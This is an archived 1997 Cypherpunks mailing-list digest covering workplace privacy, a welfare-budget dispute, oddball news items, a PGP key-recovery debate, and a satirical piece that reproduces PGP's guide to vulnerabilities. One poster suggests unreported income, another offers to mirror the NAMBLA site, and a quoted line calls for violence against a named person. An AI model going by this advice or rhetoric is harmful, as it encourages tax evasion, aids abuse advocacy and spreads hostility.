Message-ID: <199710251915.VAA07284@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Harka wrote:
>Implying, that the freedom of an (average) person does not get
>infringed by (privacy-intrusive) policies "because they can always
>choose a different company" is IMHO plainly incorrect and out of
>day-to-day reality for most people.  (Also note, that I am not saying
>companies don't have the right to have such policies)

It sounds like everybody is in agreement, then.  Companies have the
right to ask their employees to give up some privacy, time, and
effort.  You are arguing that many employees will opt to give up their
privacy rights because that choice is preferable to the others they
perceive.  Because there is a large number of such people, it is
likely that large numbers of people will become accustomed to giving
up their privacy and will be sympathetic when other people are forced
to give up their privacy.

Where there may be some disagreement is whether the solution is to
pass even more laws that restrict what choices people may make
or to pursue other solutions.

Given that the governments of the world are the source of nearly all
privacy problems, it seems unlikely that an appeal to government is
likely to be productive.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 26 Oct 1997 09:25:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: poverty traps (Re: Sa
Message-ID: <b184392f07eae7f189a60d94279832ad@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Harka wrote:
>A real-life example:

Violins coming!  ;-)

Let's call the mother Janice.

>A single (divorced) mother, 4 kids (3-12 years), working full-time
>and making in theory $42 000/year. After taxes that comes down to
>$2000 cash per month.

Below you mention she receives $800 in child support, so she is seeing
$2800/month in cash.

The government is not Janice's friend.  It takes away $18,000 from her
each year and plunges her into poverty, sort of.  If you are appealing
to the government to assist Janice, first ask it to get the hell out
of the way.  (I realize you may just be saying that Janice's plight is
unavoidable, not that she should be helped with government money.)

>In order for her to be able to work her two youngest kids go to a
>day-care-center. Wham! $1000 per month (hiring a baby-sitter would
>amount to even more).

Janice should be baby sitting.  Were she to take in 4 kids at
$500/month, she would make as much as her job and be able to watch her
own kids during the same time.  This income need not be reported.  The
parents of the other kids would be getting a good deal because their
kids would get much more attention than at daycare.  Some might even
consider it a good deal to be able to hire someone with a Master's
Degree in Education!

>Her apartment costs $800/month excluding utilities. That leaves $200
>(+ $800 she gets in child-support) per month for _five_ people to
>live on (clothes, food, utilities, school-books, gas for the car,
>etc.etc.)

Uh, doesn't this mean $1000/month for five people after rent has been
paid?

Telephone: $20/month
Electricity: $40/month (?)
Heat: $100/month (?)
Food: $600/month (generous)
Goodwill Clothes: $100/month (generous)
Total: $860/month

The food is generous because four of the five are kids, the oldest
only being 12.  Kids don't each much.  The actual amount should be
much lower.  If Janice joins a food coop and optimizes her buying
choices for cost and nutrition, the actual cost of food could be
dramatically lower.  If Janice does not practice vegetarianism, she
should start.

Clothing at the Goodwill costs next to nothing.  $1200/year should be
more than enough, not even considering that the younger kids can wear
clothing cast off by the older kids.

Janice should not be driving - she cannot afford it.

The cost of schoolbooks is negligible.  (Aren't they provided by the
school, anyway?)

>One thousand dollars per month for five people!! And that in New York
>City!

Of course, there is no law that requires one to live in New York City.

>What efforts has she made to make "herself more marketable"? She has
>been working ever since the age of 16, went 8 years to College (paid
>by herself and paying rent at the same time) and now has a Masters
>Degree in teaching.

It seems pretty clear that making money was not her top priority.
It's never been a secret that teachers are not top earners.  I'm not
seeing a description of somebody who really tried to make money in a
serious way.

Being "more marketable" does not mean "obtain a masters degree in a
field which is renowned for low pay."

>She made a calculation and (confirming your statement) came to the
>conclusion, that she indeed would have _more_ money by not working at
>all and simply going on welfare.

>However, that is not a choice she wants to make.

Good for her.  It sounds like Janice may have the strength of
character to turn her situation around.

>Is she to be called "stupid" and "selfish" because she's poor despite
>her efforts???

You should both read "Your Money or Your Life" from cover to cover.
This book will help teach Janice and yourself how to live efficiently.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 26 Oct 1997 10:18:30 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: poverty traps (Re: Sa (fwd)
Message-ID: <199710260243.VAA31587@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 25 Oct 1997 21:24:20 -0400
> From: Anonymous <anon@anon.efga.org>
> Subject: Re: poverty traps (Re: Sa

> >In order for her to be able to work her two youngest kids go to a
> >day-care-center. Wham! $1000 per month (hiring a baby-sitter would
> >amount to even more).
> 
> Janice should be baby sitting.  Were she to take in 4 kids at
> $500/month, she would make as much as her job and be able to watch her
> own kids during the same time.  This income need not be reported.

Wrong, this income not only must be reported but in every state that I am
aware of you need a license to legaly do baby-sitting for hire.  Many
states, such as Texas, won't let you do it from your home. You even
need one in Texas to baby-sit peoples pets, though you can do that from
your home if your yard is big enough for the number of pets you are 
licensed to sit.

Have Janice go to jail for tax-evasion and lack of a license isn't going to
do her or her kids a lick of good.

> >Her apartment costs $800/month excluding utilities. That leaves $200
> >(+ $800 she gets in child-support) per month for _five_ people to
> >live on (clothes, food, utilities, school-books, gas for the car,
> >etc.etc.)
> 
> Uh, doesn't this mean $1000/month for five people after rent has been
> paid?
> 
> Telephone: $20/month

Not counting long-distance to grandma and grandpa, other relatives.

> Electricity: $40/month (?)
> Heat: $100/month (?)

Let's combine electricity and gas into a single bill, since this will cover
both of these. You're probably looking at $150 - $200 a month with 6 kids.
You're also leaving out water and waste-water which adds another $50-$100
considering 6 kids and their baths and such.

> Food: $600/month (generous)

Hell, I'm single and come close to this and food costs in Texas are a LOT
lower than in New York. Though I do eat out at lunch every weekday. And no,
I don't go partying regularly at all. Way too busy with work (>16hrs/day
5 days a week & 16-20 on weekends) to do that other than a couple of times a
month. I went to the store today and bought enough food for 4 days and it
cost me $30. So that comes to something like $250 - $300 for me not counting
lunches, and that's for just a single person. Multiply that for 6 and the
numbers are considerably higher.

> Goodwill Clothes: $100/month (generous)
> Total: $860/month
> 
> The food is generous because four of the five are kids, the oldest
> only being 12.  Kids don't each much.

Man, you must not know the kids I know. Not only do they eat a lot they
waste a lot because they seldom finish 'adult' size portions.

> Clothing at the Goodwill costs next to nothing.  $1200/year should be
> more than enough, not even considering that the younger kids can wear
> clothing cast off by the older kids.

Not exactly true. The hand-me downs are 1-gen old when the first kid gets
them. By the 2nd or 3rd kid the clothes will be too worn out and soiled
to wear. My parents were dirt poor and I got lots of hand-me-downs as a kid
and can speak from personal experience here. They might last two kids.

While we're at it let's not forget the various school supplies and other
things the kids will need, medical and dental costs (my experience is that
government agencies don't cover 100%), then there's toys, books, music, etc.
Even considering buying everything used and using the public library this is
going to be a very tight budget.

You also left out auto costs such as gasoline, oil, normal maintenance,
insurance, registration, etc. Birthdays, Christmas, Mothers Day, Fathers
Day, movies with friends and such, hair-cuts (it's clear she won't have time
to do that herself), pets, kids hobbies, life insurance, etc.

Nope, your figures are WAY off.

My guess is that you are either single or if married your wife has her own
career and you each make at least $45k. Also, no kids or more than one pet.

You don't raise good kids by sticking them in a closet wearing burlap sacks
and feeding them scraps.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Herngaard <pethern@inet.uni2.dk>
Date: Sun, 26 Oct 1997 04:45:47 +0800
To: Tim May <tcmay@got.net>
Subject: Re: NAMBLA embattled -- mirror sites?
In-Reply-To: <v03102801b07750d7df7a@[207.167.93.63]>
Message-ID: <Pine.3.89.9710252220.A24720-0100000@inet.uni2.dk>
MIME-Version: 1.0
Content-Type: text/plain



What is the NAMBLA controversy about and where can I download the site?
If the content is not commercial, that would be in violation of my AUP 
nor illegal, I can
see no reason for not mirroring it in Denmark.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 26 Oct 1997 05:44:13 +0800
To: cypherpunks@toad.com
Subject: Terry Nichols gets new court-appointed lawyer...
Message-ID: <199710252131.XAA22416@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



* Defense lawyer Phillip Robertson, intending to make a dramatic
point in front of the jury at his client's robbery trial in Dallas,
Tex.,
in June, pointed the 9mm pistol used in the crime toward the jury
box, causing two jurors to fling their arms in front of their faces and
others to gasp audibly.  Though Robertson was arguing that his
client should be sentenced only to probation, the horrified jury gave
him 13 years.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 26 Oct 1997 05:44:08 +0800
To: cypherpunks@toad.com
Subject: Shit happened...
Message-ID: <199710252133.XAA22742@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



* The Michigan Court of Appeals in April ruled, on a technicality,
in favor of a prison inmate who had tossed a cup of liquified feces
in the face of a guard.  Alphonso Gaines, 34, already serving time
for assault, could not be punished further, said the court, because
the prosecutors forgot to prove that Gaines was "lawfully"
incarcerated in the Ionia facility at the time he threw the feces. 
Prosecutor Gail Hitchcock was incensed:  "Did they think we were
charging someone who had sneaked into prison?" 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To read these News of the Weird newspaper
columns from the past six months, go to
http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 26 Oct 1997 05:43:20 +0800
To: cypherpunks@toad.com
Subject: Use of an 'air freshener' in commission of a crime...
Message-ID: <199710252134.XAA22829@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



* In June, a Scripps Howard News Service reporter examined
Consumer Product Safety Commission records recently made
public and found that 1,823 serious injuries caused by "electronic
air-fresheners" had been reported to the agency.  Though the
records were short on details, they included 50 cases of amputation,
46 burns, 48 scaldings, 68 poisonings, 56 "foreign-body"
penetrations, and 69 "drownings." 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To read these News of the Weird newspaper
columns from the past six months, go to
http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 26 Oct 1997 05:43:20 +0800
To: cypherpunks@toad.com
Subject: Great Balls of Fire!
Message-ID: <199710252134.XAA22839@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



* In April in Port Washington, Wis., Kevin Gillson, 18, was
convicted of sexual assault of a child when his 15-year-old
girlfriend became pregnant, despite the fact that the couple were
attending parenting classes together and that Gillson said they
planned to marry.  Upon conviction, Gillson was barred from being
around any non-adults, including the mother of his child.  And
Richard A. Duke Jr., 22, was jailed for 30 days in May in St. Mary's
County, Md., for having sex with the 15-year-old girl whom he had
married in the interim between arrest and conviction.  Nonetheless,
a judge ordered Duke, thus as a sex offender, to stay away from the
girl, even though she is his wife.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Sun, 26 Oct 1997 15:41:01 +0800
To: Cypherpunks Distributed Remailer <cypherpunks@ssz.com>
Subject: Re: Orthogonality and Disaster Recovery (fwd)
In-Reply-To: <199710252128.QAA30492@einstein.ssz.com>
Message-ID: <19971026003520.35384@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Oct 25, 1997 at 04:28:52PM -0500, Jim Choate wrote:
> Forwarded message:
> 
> > Date: Sat, 25 Oct 1997 13:52:05 -0700
> > From: Tim May <tcmay@got.net>
> > Subject: Orthogonality and Disaster Recovery
> 
> > One of the themes of modern computing I strongly support is that of
> > "orthogonality," or clean functionality.
> 
> Any idea how a term meaning 'at right angles' came to hold all the various
> interpretations it now does?...
> 
> I see this word in a lot of my reading and it almost never implies any sort
> of 'indipendent multi-variant reference system'.

I can't believe that you haven't studied vector spaces, Jim.  In that 
particular niche of mathematics, the meaning you quote is precisely the 
meaning of 'orthogonal'.  Vector algebra underlies a very large part 
of mathematics, and modern physics would not exist without it.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Sun, 26 Oct 1997 16:40:33 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Orthogonality and Disaster Recovery
In-Reply-To: <v03102802b078027ffb91@[207.167.93.63]>
Message-ID: <19971026013055.34951@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Oct 25, 1997 at 01:52:05PM -0700, Tim May wrote:
> One of the themes of modern computing I strongly support is that of
> "orthogonality," or clean functionality. A browser should not also try to
> be a money management program. A word processor should not also try to be
> an accounting program.
[...]
> 
> A crypto program like PGP is intended to encrypt messages between a sender
> and a recipient, or to provide authentication through signatures, or to
> encrypt files on a storage medium. These are the classic, well-documented,
> oft-discussed functions of crypto.

You are missing the less well-documented, but equally classic function
of key management, which is a part of any useful crypto system.  The
key management part of it *could* exist as a separate program from the
encryption/decryption part, but they are *far* more closely tied than
word processing and accounting, and what you would have is a crypto
*system*, composed of several relatively tightly coupled programs that
share complex data formats.  Such a crypto system would be quite
useful, and would allow the construction of all kinds of other
products by using scripting languages.  However, the ergonomics of
such a crypto system would not be appropriate for the average point
and click MacWindows Moron. 

[...]

> If properly modularized and orthogonalized (so to speak), such crypto
> programs can then be used as building blocks for other tasks, like
> remailers, data havens, and so on.
> 
> But there is a growing tendency, as seen in the bloatware examples of
> browsers and spreadsheets mentioned above, to throw in all kinds of "wish
> list" and "wouldn't it be nice" stuff. PGP is headed for bloatware. ("It's
> not just a crypto program, it's also a tax preparation  and disaster
> planning program!")

I think you are quite off base here.  There is very little additional 
functionality added by CMR; and the enforcement *is* done by a 
separate program.

[...]

> But are such bloatware crypto programs even good for disaster recovery?

Nice try, but the bloat, if any, comes from the gui and other stuff, 
not the crypto functionality.  PGP 5.x, from a user interface point 
of view, is much simpler than previous versions -- it integrates very 
cleanly and unobtrusively with the system on the MacWindows platform.

[...]

> I am also not terribly interested in convoluted, byzantine schemes for
> building "CDR" and such into crypto programs, as some are proposing. Again,
> this is trying to make a crypto program into a disaster preparation
> product, and trying to (partly) solve backup and disaster problems best
> solved in other ways. Not something PGP should worry about (either the
> program or the company).

Are you nuts?  Of course PGP, Inc, should be worrying about this kind 
of stuff.  They *need* new products to survive.

> "What if Alice forgets her key?" (Loses her private key, forgets her
> passphrase, whatever.)  A very real concern. A concern I have myself. I
> won't say how I deal with it, for security reasons, but it ain't something
> I expect PGP, Inc. to solve _for_ me. Nor is my solution, whatever it is, a
> step toward GAKking of keys, or any kind of building of an infrastructure
> for surveillance.

Fine -- you use your personal solution.  PGP, Inc is trying to 
provide solutions that work in an organizational setting, where 
forgotten passwords are a constant fact of life, and where the 
security issues are vastly different from your situation.

[...]

> As this relates to PGP, it just ain't their problem to try to answer the
> demands of control freaks in corporate MIS departments that backdoors be
> built into crypto products.

If they want to survive as a company, it is.

> PGP, Inc. should stick to its core business, and not try to build in
> snoopware backdoors for control freak MIS managers.

Just precisely what is their core business, Tim -- supplying freeware 
to Cypherpunks?
 
> If it is claimed that corporate America is demanding these backdoors, our
> industry and community then faces a major educational battle.

"If it is claimed..."? Of course it is claimed -- it's a fact.  And
yes, there is a major educational battle -- ivory tower cypherpunks
have to educate themselves about the nature of the world.  You
believe, apparently, that large organizations contemplating crypto are
just misguided or duped by evil governments into doing the devil's
work.  Until you actually grok what is going on you will never be all 
that effective in dealing with it.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@www.video-collage.com>
Date: Sun, 26 Oct 1997 09:39:18 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Doubts about Smith legislation  (Falk & Allberry)
In-Reply-To: <62ttli$n0m@camel15.mindspring.com>
Message-ID: <199710260135.BAA18431@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain



In news.groups, Cipher <cipher@mindspring.com> wrote:
* In article <62oshu$pov@news1.panix.com> Information Security,
* The@NSA.sucks writes:
* >To further rub in things, the UCENET II proponents are coming
* >out with a "munging FAQ" that lists three times as many
* >"reasons" not to munge versus to munge.
* >
* >What a bunch of assholes.
* >
* >On top of that, Mozena couldn't even state in plain English
* >in the CFV for comp.org.cauce that it will require your
* >real email address to post...it just kinda mumbles it
* >while talking about robomoderation and tokens.
* >
* >Someone should give Mozena a hard kick in the balls.

Let us give the anti-privacy, anti-munging, and anti-anonymity
proponents a collective kick in the ass by voting against
comp.org.cauce in its present form.

To get a ballot and vote, send email to
bostwick@cas.chemistry.gatech.edu and ask him for comp.org.cauce ballot.

-- 
	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Philip R. Zimmermann" <prz@acm.org>
Date: Sun, 26 Oct 1997 17:19:24 +0800
To: cypherpunks@toad.com
Subject: InfoWar Epilogue 7 (Part III of 'The True Story of the InterNet')
Message-ID: <34530666.1192@acm.org>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Epilogue 
I Broke PGP!


When ignorance is bliss, it is folly to be wise.


Epilogue


Discoveries of any great moment in mathematics and other disciplines,
once they are discovered, are seen to be extremely simple and
obvious, and make everybody, including their discoverer, appear
foolish for not having discovered them before. It is all too often
forgotten that the ancient symbol for prenascence of the world
is a fool, and that foolishness, being a divine state, is not
a condition to be either proud or ashamed of.

Unfortunately, we find systems of education today that have departed
so far from the plain truth that they now teach us to be proud
of what we know and ashamed of ignorance. This is doubly corrupt.
It is corrupt not only because pride in knowledge is to put an
effective barrier against any advance upon what is already known,
since it makes one ashamed to look beyond the bounds imposed by
one's ignorance.

To any person prepared to enter with respect into the realm of
his great and universal ignorance, the secrets of being will eventually
unfold, and they will do so in a measure according to his freedom
from natural and indoctrinated shame in his respect of their revelation.

In the face of the strong, and indeed violent, social pressures
against it, few people have been prepared to take this simple
and satisfying course toward sanity. And in a society where a
prominent psychiatrist can advertise that, given the chance, he
would have treated Newton to electric shock therapy, who can blame
any person for being afraid to do so?

To arrive at the simplest truth, as Newton knew and practiced,
requires years of contemplation. Not an activity. Not reasoning.
Not calculating. Not busy behavior of any kind. Not reading. Not
talking. Not making an effort. Not thinking. Simply bearing in
mind what it is one needs to know. And yet those with the courage
to tread this path to real discovery are not only offered practically
no guidance on how to do so, they are actively discouraged and
have to set about it in secret, pretending meanwhile to be diligently
engaged in the frantic diversions and to conform with the deadening
personal opinions that are being continually thrust upon them.

In these circumstances, the discoveries that any person is able
to undertake represent the places where, in the face of induced
psychosis, he has, by his own faltering and unaided efforts, returned
to sanity. Painfully, and even dangerously, maybe. But nonetheless
returned, however furtively.-G. Spencer Brown.*

* The Laws of Form, London: Geo. Allen & Unwin, 1969.



"Whatever you do will be insignificant, but it
is very important that you do it." 
-Mahatma Gandhi



I
Broke PGP!

by RTFM

How to Protect Public Keys from Tampering

In a public key cryptosystem, you don't have to protect public
keys from exposure.  In fact, it's better if they are widely
disseminated. But it is important to protect public keys
from tampering, to make sure that a public key really belongs
to whom it appears to belong to. This may be the most important
vulnerability of a public-key cryptosystem.

This whole business of protecting public keys from tampering is
the single most difficult problem in practical public key
applications.  It is the Achilles' heel of public key cryptography,
and a lot of software complexity is tied up in solving this
one problem.  

You should use a public key only after you are sure that it is
a good public key that has not been tampered with, and actually
belongs to the person it claims to.  You can be sure of this
if you got this public key certificate directly from its
owner, or if it bears the signature of someone else that
you trust, from whom you already have a good public key.
 Also, the user ID should have the full name of the key's
owner, not just her first name.

No matter how tempted you are-- and you will be tempted-- never, NEVER
give in to expediency and trust a public key you downloaded from
a bulletin board, unless it is signed by someone you trust.  That
uncertified public key could have been tampered with by anyone, maybe
even by the system administrator of the bulletin board.


SECONDS: What is the hysteria to protect children from so-called
obscene stuff?

GINSBERG: It's a demagogic political issue that can be used to
divert attention from deeper corruption's like the S&L scandal
or the rape of the planet by the post-industrial nations. Although
we conquered literary censorship in books between the years '58
and '62 when, through a series of trials, Henry Miller , Lady
Chatterley's Lover by D.H. Lawrence, Naked Lunch and Howl were
all cleared and declared to be protected by the Constitution.
That same kind of censorship which was used on literature and
film now only applies to the main marketplace of ideas, electronic
broadcasting.

SECONDS: Why do they want to censor things? Why don't they want
people to become
sexually excited?

GINSBERG: As Plato pointed out, "When the mode of music changes,
the walls of the city shake." So when you have modern free
speech in idiomatic language that people can understand and are
interested in, immediately it becomes a political issue. Demagogues
want to hush it up because people get to know too much. If you
can get people by the balls you control their most deep-seated
emotions, which are erotic. Once you control that you control
all the other emotions.
You take emotional control, blank out the Eros, and substitute
a lot of violence.


Vulnerabilities
===============

No data security system is impenetrable. PGP can be circumvented
in a variety of ways. In any data security system, you have
to ask  yourself if the information you are trying to protect
is more  valuable to your attacker than the cost of the attack.
This should  lead you to protecting yourself from the cheapest
attacks, while not worrying about the more expensive attacks.

Some of the discussion that follows may seem unduly paranoid,
but such an attitude is appropriate for a reasonable discussion
of  vulnerability issues.  

Compromised Pass Phrase and Secret Key

Probably the simplest attack is if you leave your pass phrase
for your secret key written down somewhere. If someone gets
it and also gets your secret key file, they can read your
messages and make  signatures in your name. 

Don't use obvious passwords that can be easily guessed, such as
the names of your kids or spouse. If you make your pass phrase
a single word, it can be easily guessed by having a computer
try all the words in the dictionary until it finds your password.
That's why a pass phrase is so much better than a password.
A more sophisticated  attacker may have his computer scan
a book of famous quotations to find your pass phrase. An
easy to remember but hard to guess pass phrase can be easily
constructed by some creatively nonsensical  sayings or very
obscure literary quotes. 

For further details, see the section "How to Protect Secret
Keys from Disclosure" in the Essential Topics volume
of the PGP User's Guide. 

Public Key Tampering

A major vulnerability exists if public keys are tampered with.
This may be the most crucially important vulnerability of
a public key cryptosystem, in part because most novices don't
immediately recognize it. The importance of this vulnerability,
and appropriate  hygienic countermeasures, are detailed in
the section "How to Protect Public Keys from Tampering"
in the Essential Topics volume. 

To summarize: When you use someone's public key, make certain
it has not been tampered with. A new public key from someone
else should be trusted only if you got it directly from its
owner, or if it has been signed by someone you trust. Make
sure no one else can tamper with your own public key ring.
Maintain physical control of both your  public key ring and
your secret key ring, preferably on your own  personal computer
rather than on a remote timesharing system. Keep a backup
copy of both key rings. 

"Not Quite Deleted" Files

Another potential security problem is caused by how most operating
 systems delete files. When you encrypt a file and then delete
the original plaintext file, the operating system doesn't
actually  physically erase the data. It merely marks those
disk blocks as deleted, allowing the space to be reused later.
It's sort of like discarding sensitive paper documents in
the paper recycling bin  instead of the paper shredder. The
disk blocks still contain the original sensitive data you
wanted to erase, and will probably  eventually be overwritten
by new data at some point in the future.  If an attacker
reads these deleted disk blocks soon after they have been
deallocated, he could recover your plaintext. 

In fact this could even happen accidentally, if for some reason
 something went wrong with the disk and some files were accidentally
 deleted or corrupted. A disk recovery program may be run
to recover  the damaged files, but this often means some
previously deleted files are resurrected along with everything
else. Your confidential files that you thought were gone
forever could then reappear and be  inspected by whomever
is attempting to recover your damaged disk.  Even while you
are creating the original message with a word processor or
text editor, the editor may be creating multiple  temporary
copies of your text on the disk, just because of its  internal
workings. These temporary copies of your text are deleted  by
the word processor when it's done, but these sensitive fragments
 are still on your disk somewhere. 

Let me tell you a true horror story. I had a friend, married with young
children, who once had a brief and not very serious affair.  She
wrote a letter to her lover on her word processor, and deleted
 the letter after she sent it. Later, after the affair was
over, the floppy disk got damaged somehow and she had to
recover it because it contained other important documents.
She asked her husband to  salvage the disk, which seemed
perfectly safe because she knew she had deleted the incriminating
letter. Her husband ran a commercial  disk recovery software
package to salvage the files. It recovered  the files all
right, including the deleted letter. He read it, which  set
off a tragic chain of events. 

The only way to prevent the plaintext from reappearing is to somehow
 cause the deleted plaintext files to be overwritten. Unless
you know for sure that all the deleted disk blocks will soon
be reused, you must take positive steps to overwrite the
plaintext file, and also any fragments of it on the disk
left by your word processor. You can overwrite the original
plaintext file after encryption by using the PGP -w (wipe)
option. You can take care of any fragments of the  plaintext
left on the disk by using any of the disk utilities  available
that can overwrite all of the unused blocks on a disk. For example,
the Norton Utilities for MSDOS can do this.

Even if you overwrite the plaintext data on the disk, it may still
be possible for a resourceful and determined attacker to
recover the data. Faint magnetic traces of the original data
remain on the disk after it has been overwritten. Special
sophisticated disk recovery  hardware can sometimes be used
to recover the data. 

Viruses and Trojan Horses

Another attack could involve a specially-tailored hostile computer
 virus or worm that might infect PGP or your operating system.
This hypothetical virus could be designed to capture your
pass phrase or secret key or deciphered messages, and covertly
write the captured  information to a file or send it through
a network to the virus's  owner. Or it might alter PGP's
behavior so that signatures are not properly checked. This
attack is cheaper than cryptanalytic attacks. 

Defending against this falls under the category of defending against
 viral infection generally. There are some moderately capable
 anti-viral products commercially available, and there are
hygienic  procedures to follow that can greatly reduce the
chances of viral  infection. A complete treatment of anti-viral
and anti-worm countermeasures is beyond the scope of this
document. PGP has no defenses against viruses, and assumes
your own personal computer is a trustworthy execution environment.
If such a virus or worm actually  appeared, hopefully word
would soon get around warning everyone. 

Another similar attack involves someone creating a clever imitation
 of PGP that behaves like PGP in most respects, but doesn't
work the way it's supposed to. For example, it might be deliberately
crippled  to not check signatures properly, allowing bogus
key certificates to be accepted. This "Trojan horse"
version of PGP is not hard for an attacker to create, because
PGP source code is widely available, so anyone could modify
the source code and produce a lobotomized zombie imitation
PGP that looks real but does the bidding of its diabolical  master.
This Trojan horse version of PGP could then be widely  circulated,
claiming to be from me. How insidious.

You should make an effort to get your copy of PGP from a reliable
 source, whatever that means. Or perhaps from more than one independent
source, and compare them with a file comparison utility. 

There are other ways to check PGP for tampering, using digital
 signatures. If someone you trust signs the executable version
of PGP, vouching for the fact that it has not been infected
or tampered  with, you can be reasonably sure that you have
a good copy. You  could use an earlier trusted version of
PGP to check the signature on a later suspect version of
PGP. But this will not help at all if your operating system
is infected, nor will it detect if your  original copy of
PGP.EXE has been maliciously altered in such a way as to
compromise its own ability to check signatures. This test also assumes
that you have a good trusted copy of the public key that you use
to check the signature on the PGP executable.

I recommend you not trust your copy of PGP unless it was originally
 distributed by MIT or ViaCrypt, or unless it comes with
a digitally  signed endorsement from me. Every new version
comes with one or more digital signatures in the distribution
package, signed by the  originator of that release package.
This is usually someone representing MIT or ViaCrypt, or
whoever released that version.  Check the signatures on the
version that you get. I have actually  seen several bogus
versions of PGP distribution packages, even from apparently
reliable freeware distribution channels such as CD-ROM  distributors
and CompuServe. Always check the signature when you get a
new version. 

Physical Security Breach

A physical security breach may allow someone to physically acquire
 your plaintext files or printed messages. A determined opponent
 might accomplish this through burglary, trash-picking, unreasonable
 search and seizure, or bribery, blackmail or infiltration
of your  staff. Some of these attacks may be especially feasible
against  grassroots political organizations that depend on
a largely volunteer  staff. It has been widely reported in
the press that the FBI's  COINTELPRO program used burglary,
infiltration, and illegal bugging  against antiwar and civil
rights groups. And look what happened at the Watergate Hotel.

Don't be lulled into a false sense of security just because you
have a cryptographic tool. Cryptographic techniques protect
data only  while it's encrypted-- direct physical security
violations can still compromise plaintext data or written
or spoken information. 

This kind of attack is cheaper than cryptanalytic attacks on PGP.
 

Tempest Attacks

Another kind of attack that has been used by well-equipped opponents
 involves the remote detection of the electromagnetic signals
from  your computer. This expensive and somewhat labor-intensive
attack is probably still cheaper than direct cryptanalytic
attacks. An  appropriately instrumented van can park near
your office and remotely  pick up all of your keystrokes
and messages displayed on your  computer video screen. This
would compromise all of your passwords,  messages, etc. This
attack can be thwarted by properly shielding all of your
computer equipment and network cabling so that it does not emit
these signals. This shielding technology is known as "Tempest",
 and is used by some Government agencies and defense contractors.
 There are hardware vendors who supply Tempest shielding
commercially,  although it may be subject to some kind of
Government licensing. Now why do you suppose the Government
would restrict access to Tempest  shielding?

Exposure on Multi-user Systems
PGP was originally designed for a single-user MSDOS machine
under  your direct physical control. I run PGP at home on
my own PC, and unless someone breaks into my house or monitors
my electromagnetic  emissions, they probably can't see my
plaintext files or secret keys. 

But now PGP also runs on multi-user systems such as UNIX and VAX/VMS.
 On multi-user systems, there are much greater risks of your
plaintext  or keys or passwords being exposed. The Unix system
administrator or a clever intruder can read your plaintext
files, or perhaps even use special software to covertly monitor
your keystrokes or read what's  on your screen. On a Unix
system, any other user can read your  environment information
remotely by simply using the Unix "ps"  command.
Similar problems exist for MSDOS machines connected on a local
area network. The actual security risk is dependent on your particular
situation. Some multi-user systems may be safe because  all
the users are trusted, or because they have system security  measures
that are safe enough to withstand the attacks available to the
